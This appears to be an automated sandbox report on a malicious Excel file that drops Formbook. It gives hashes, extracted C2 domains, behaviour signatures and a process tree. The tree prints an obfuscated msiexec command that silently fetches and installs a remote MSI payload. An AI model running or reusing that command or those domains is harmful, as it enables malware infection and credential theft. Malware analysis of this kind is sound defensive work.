Analysis
-
max time kernel
150s -
max time network
149s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
07-05-2021 11:40
Behavioral task
behavioral1
Sample
814e1a31a6bff8df45a6393430e9c0b7bbaddafc.xls
Resource
win7v20210408
General
-
Target
814e1a31a6bff8df45a6393430e9c0b7bbaddafc.xls
-
Size
37KB
-
MD5
ccaacde2a2fea467aacb4d46c0f6d92a
-
SHA1
814e1a31a6bff8df45a6393430e9c0b7bbaddafc
-
SHA256
c2c6534ff0fbb2099535e54323aec998d82de2811f6fd82337927c9d866e01f4
-
SHA512
6592b22bb684fa3a47f33f666c6a3af666b59052adbce1088dfa9031b1f862328ba3d533f03abd3e47fe34d5d05db2873feeec8dae7d08c23bc88cb51b4c19ee
Malware Config
Extracted
formbook
4.1
http://www.111bjs.com/ccr/
abdullahlodhi.com
jevya.com
knoxvillerestaurant.com
mekarauroko7389.com
cricketspowder.net
johannchirinos.com
orangeorganical.com
libero-tt.com
lorenaegianluca.com
wintab.net
modernmillievintage.com
zgdqcyw.com
jeffabildgaardmd.com
nurulfikrimakassar.com
findyourchef.com
innovationsservicegroup.com
destek-taleplerimiz.com
whfqqco.icu
kosmetikmadeingermany.com
dieteticos.net
savarsineklik.com
newfashiontrends.com
e-mobilitysolutions.com
spaced.ltd
amjadalitrading.com
thejstutor.com
zzhqp.com
exoticomistico.com
oklahomasundayschool.com
grwfrog.com
elementsfitnessamdwellbeing.com
auldontoyworld.com
cumhuriyetcidemokratparti.kim
thetruthinternational.com
adimadimingilizce.com
retreatwinds.com
duoteshop.com
jasonkokrak.com
latindancextreme.com
agavedeals.com
motz.xyz
kspecialaroma.com
yuejinjc.com
print12580.com
ampsports.tennis
affordablebathroomsarizona.com
casnop.com
driftwestcoastmarket.com
bjsjygg.com
gwpjamshedpur.com
reserveacalifornia.com
caobv.com
culturaenmistacones.com
back-upstore.com
jjsmiths.com
iamxc.com
siobhankrittiya.com
digitalakanksha.com
koatku.com
shamushalkowich.com
merplerps.com
fishexpertise.com
sweetheartmart.com
nqs.xyz
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1260 3944 cmd.exe EXCEL.EXE -
Formbook Payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/4108-188-0x0000000000400000-0x000000000042E000-memory.dmp formbook behavioral2/memory/4164-195-0x0000000001260000-0x000000000128E000-memory.dmp formbook -
Blocklisted process makes network request 1 IoCs
Processes:
msiexec.exeflow pid process 16 2120 msiexec.exe -
Executes dropped EXE 2 IoCs
Processes:
MSI41C5.tmpMSI41C5.tmppid process 800 MSI41C5.tmp 4108 MSI41C5.tmp -
Loads dropped DLL 1 IoCs
Processes:
MSI41C5.tmppid process 800 MSI41C5.tmp -
Use of msiexec (install) with remote resource 1 IoCs
Processes:
msiexec.exepid process 3568 msiexec.exe -
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
msiexec.exedescription ioc process File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\A: msiexec.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
MSI41C5.tmpMSI41C5.tmpNETSTAT.EXEdescription pid process target process PID 800 set thread context of 4108 800 MSI41C5.tmp MSI41C5.tmp PID 4108 set thread context of 3048 4108 MSI41C5.tmp Explorer.EXE PID 4164 set thread context of 3048 4164 NETSTAT.EXE Explorer.EXE -
Drops file in Windows directory 6 IoCs
Processes:
msiexec.exedescription ioc process File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI4146.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI41C5.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI3CEF.tmp msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
NSIS installer 6 IoCs
Processes:
resource yara_rule C:\Windows\Installer\MSI41C5.tmp nsis_installer_1 C:\Windows\Installer\MSI41C5.tmp nsis_installer_2 C:\Windows\Installer\MSI41C5.tmp nsis_installer_1 C:\Windows\Installer\MSI41C5.tmp nsis_installer_2 C:\Windows\Installer\MSI41C5.tmp nsis_installer_1 C:\Windows\Installer\MSI41C5.tmp nsis_installer_2 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
Processes:
NETSTAT.EXEpid process 4164 NETSTAT.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3944 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 58 IoCs
Processes:
msiexec.exeMSI41C5.tmpNETSTAT.EXEpid process 2120 msiexec.exe 2120 msiexec.exe 4108 MSI41C5.tmp 4108 MSI41C5.tmp 4108 MSI41C5.tmp 4108 MSI41C5.tmp 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE 4164 NETSTAT.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 3048 Explorer.EXE -
Suspicious behavior: MapViewOfSection 6 IoCs
Processes:
MSI41C5.tmpMSI41C5.tmpNETSTAT.EXEpid process 800 MSI41C5.tmp 4108 MSI41C5.tmp 4108 MSI41C5.tmp 4108 MSI41C5.tmp 4164 NETSTAT.EXE 4164 NETSTAT.EXE -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
msiexec.exemsiexec.exeMSI41C5.tmpNETSTAT.EXEExplorer.EXEdescription pid process Token: SeShutdownPrivilege 3568 msiexec.exe Token: SeIncreaseQuotaPrivilege 3568 msiexec.exe Token: SeSecurityPrivilege 2120 msiexec.exe Token: SeCreateTokenPrivilege 3568 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3568 msiexec.exe Token: SeLockMemoryPrivilege 3568 msiexec.exe Token: SeIncreaseQuotaPrivilege 3568 msiexec.exe Token: SeMachineAccountPrivilege 3568 msiexec.exe Token: SeTcbPrivilege 3568 msiexec.exe Token: SeSecurityPrivilege 3568 msiexec.exe Token: SeTakeOwnershipPrivilege 3568 msiexec.exe Token: SeLoadDriverPrivilege 3568 msiexec.exe Token: SeSystemProfilePrivilege 3568 msiexec.exe Token: SeSystemtimePrivilege 3568 msiexec.exe Token: SeProfSingleProcessPrivilege 3568 msiexec.exe Token: SeIncBasePriorityPrivilege 3568 msiexec.exe Token: SeCreatePagefilePrivilege 3568 msiexec.exe Token: SeCreatePermanentPrivilege 3568 msiexec.exe Token: SeBackupPrivilege 3568 msiexec.exe Token: SeRestorePrivilege 3568 msiexec.exe Token: SeShutdownPrivilege 3568 msiexec.exe Token: SeDebugPrivilege 3568 msiexec.exe Token: SeAuditPrivilege 3568 msiexec.exe Token: SeSystemEnvironmentPrivilege 3568 msiexec.exe Token: SeChangeNotifyPrivilege 3568 msiexec.exe Token: SeRemoteShutdownPrivilege 3568 msiexec.exe Token: SeUndockPrivilege 3568 msiexec.exe Token: SeSyncAgentPrivilege 3568 msiexec.exe Token: SeEnableDelegationPrivilege 3568 msiexec.exe Token: SeManageVolumePrivilege 3568 msiexec.exe Token: SeImpersonatePrivilege 3568 msiexec.exe Token: SeCreateGlobalPrivilege 3568 msiexec.exe Token: SeRestorePrivilege 2120 msiexec.exe Token: SeTakeOwnershipPrivilege 2120 msiexec.exe Token: SeRestorePrivilege 2120 msiexec.exe Token: SeTakeOwnershipPrivilege 2120 msiexec.exe Token: SeRestorePrivilege 2120 msiexec.exe Token: SeTakeOwnershipPrivilege 2120 msiexec.exe Token: SeRestorePrivilege 2120 msiexec.exe Token: SeTakeOwnershipPrivilege 2120 msiexec.exe Token: SeRestorePrivilege 2120 msiexec.exe Token: SeTakeOwnershipPrivilege 2120 msiexec.exe Token: SeRestorePrivilege 2120 msiexec.exe Token: SeTakeOwnershipPrivilege 2120 msiexec.exe Token: SeDebugPrivilege 4108 MSI41C5.tmp Token: SeDebugPrivilege 4164 NETSTAT.EXE Token: SeShutdownPrivilege 3048 Explorer.EXE Token: SeCreatePagefilePrivilege 3048 Explorer.EXE Token: SeShutdownPrivilege 3048 Explorer.EXE Token: SeCreatePagefilePrivilege 3048 Explorer.EXE Token: SeShutdownPrivilege 3048 Explorer.EXE Token: SeCreatePagefilePrivilege 3048 Explorer.EXE Token: SeShutdownPrivilege 3048 Explorer.EXE Token: SeCreatePagefilePrivilege 3048 Explorer.EXE Token: SeShutdownPrivilege 3048 Explorer.EXE Token: SeCreatePagefilePrivilege 3048 Explorer.EXE Token: SeShutdownPrivilege 3048 Explorer.EXE Token: SeCreatePagefilePrivilege 3048 Explorer.EXE Token: SeShutdownPrivilege 3048 Explorer.EXE Token: SeCreatePagefilePrivilege 3048 Explorer.EXE Token: SeShutdownPrivilege 3048 Explorer.EXE Token: SeCreatePagefilePrivilege 3048 Explorer.EXE Token: SeShutdownPrivilege 3048 Explorer.EXE Token: SeCreatePagefilePrivilege 3048 Explorer.EXE -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
EXCEL.EXEpid process 3944 EXCEL.EXE 3944 EXCEL.EXE 3944 EXCEL.EXE 3944 EXCEL.EXE 3944 EXCEL.EXE 3944 EXCEL.EXE 3944 EXCEL.EXE 3944 EXCEL.EXE -
Suspicious use of WriteProcessMemory 17 IoCs
Processes:
EXCEL.EXEcmd.exemsiexec.exeMSI41C5.tmpExplorer.EXENETSTAT.EXEdescription pid process target process PID 3944 wrote to memory of 1260 3944 EXCEL.EXE cmd.exe PID 3944 wrote to memory of 1260 3944 EXCEL.EXE cmd.exe PID 1260 wrote to memory of 3568 1260 cmd.exe msiexec.exe PID 1260 wrote to memory of 3568 1260 cmd.exe msiexec.exe PID 2120 wrote to memory of 800 2120 msiexec.exe MSI41C5.tmp PID 2120 wrote to memory of 800 2120 msiexec.exe MSI41C5.tmp PID 2120 wrote to memory of 800 2120 msiexec.exe MSI41C5.tmp PID 800 wrote to memory of 4108 800 MSI41C5.tmp MSI41C5.tmp PID 800 wrote to memory of 4108 800 MSI41C5.tmp MSI41C5.tmp PID 800 wrote to memory of 4108 800 MSI41C5.tmp MSI41C5.tmp PID 800 wrote to memory of 4108 800 MSI41C5.tmp MSI41C5.tmp PID 3048 wrote to memory of 4164 3048 Explorer.EXE NETSTAT.EXE PID 3048 wrote to memory of 4164 3048 Explorer.EXE NETSTAT.EXE PID 3048 wrote to memory of 4164 3048 Explorer.EXE NETSTAT.EXE PID 4164 wrote to memory of 4192 4164 NETSTAT.EXE cmd.exe PID 4164 wrote to memory of 4192 4164 NETSTAT.EXE cmd.exe PID 4164 wrote to memory of 4192 4164 NETSTAT.EXE cmd.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3048 -
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\814e1a31a6bff8df45a6393430e9c0b7bbaddafc.xls"2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3944 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C m^SiE^x^e^c /i http://farm-finn.com/admin/556791.msi /qn3⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1260 -
C:\Windows\system32\msiexec.exemSiExec /i http://farm-finn.com/admin/556791.msi /qn4⤵
- Use of msiexec (install) with remote resource
- Suspicious use of AdjustPrivilegeToken
PID:3568
-
-
-
-
C:\Windows\SysWOW64\autochk.exe"C:\Windows\SysWOW64\autochk.exe"2⤵PID:4152
-
-
C:\Windows\SysWOW64\NETSTAT.EXE"C:\Windows\SysWOW64\NETSTAT.EXE"2⤵
- Suspicious use of SetThreadContext
- Gathers network information
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4164 -
C:\Windows\SysWOW64\cmd.exe/c del "C:\Windows\Installer\MSI41C5.tmp"3⤵PID:4192
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2120 -
C:\Windows\Installer\MSI41C5.tmp"C:\Windows\Installer\MSI41C5.tmp"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:800 -
C:\Windows\Installer\MSI41C5.tmp"C:\Windows\Installer\MSI41C5.tmp"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:4108
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
MD54fcb2a3ee025e4a10d21e1b154873fe2
SHA157658e2fa594b7d0b99d02e041d0f3418e58856b
SHA25690bf6baa6f968a285f88620fbf91e1f5aa3e66e2bad50fd16f37913280ad8228
SHA5124e85d48db8c0ee5c4dd4149ab01d33e4224456c3f3e3b0101544a5ca87a0d74b3ccd8c0509650008e2abed65efd1e140b1e65ae5215ab32de6f6a49c9d3ec3ff
-
MD5
2b1cb416ade4d567beae5b90f78881a6
SHA1bb6cfc2f205a922620eeca38406e9ca2ff2875bf
SHA256ac2bc57ced40d79ee9507ee3259682c9a545a1290c2dbd4e0a5045b1ae5e61f3
SHA512f96dc90e2ef21cb6ce5334d4b3b1043b51862fb9686afdc41da95188d653f6f69d013b62c9301425b95f16e259a4d672e39418c8a849dd5b9b98e20a18853a09
-
MD5
2b1cb416ade4d567beae5b90f78881a6
SHA1bb6cfc2f205a922620eeca38406e9ca2ff2875bf
SHA256ac2bc57ced40d79ee9507ee3259682c9a545a1290c2dbd4e0a5045b1ae5e61f3
SHA512f96dc90e2ef21cb6ce5334d4b3b1043b51862fb9686afdc41da95188d653f6f69d013b62c9301425b95f16e259a4d672e39418c8a849dd5b9b98e20a18853a09
-
MD5
2b1cb416ade4d567beae5b90f78881a6
SHA1bb6cfc2f205a922620eeca38406e9ca2ff2875bf
SHA256ac2bc57ced40d79ee9507ee3259682c9a545a1290c2dbd4e0a5045b1ae5e61f3
SHA512f96dc90e2ef21cb6ce5334d4b3b1043b51862fb9686afdc41da95188d653f6f69d013b62c9301425b95f16e259a4d672e39418c8a849dd5b9b98e20a18853a09
-
MD5
7795b5a3842f3220526b9b5c0792c91a
SHA169d6e1a264aab15d749a70a74d63de59c266e3b4
SHA2567d931a93e761686bde7d6a79253cb03378ee28f8d12c683a9017540e798d2988
SHA51245bf7270aee9e4ccbd84107490469e455ac4bc6faac7e1aff9cc4453c9c07afc8e64dbef955e248116d28f49b51f6596812d8366ed057ddc73ab061aecfcc43e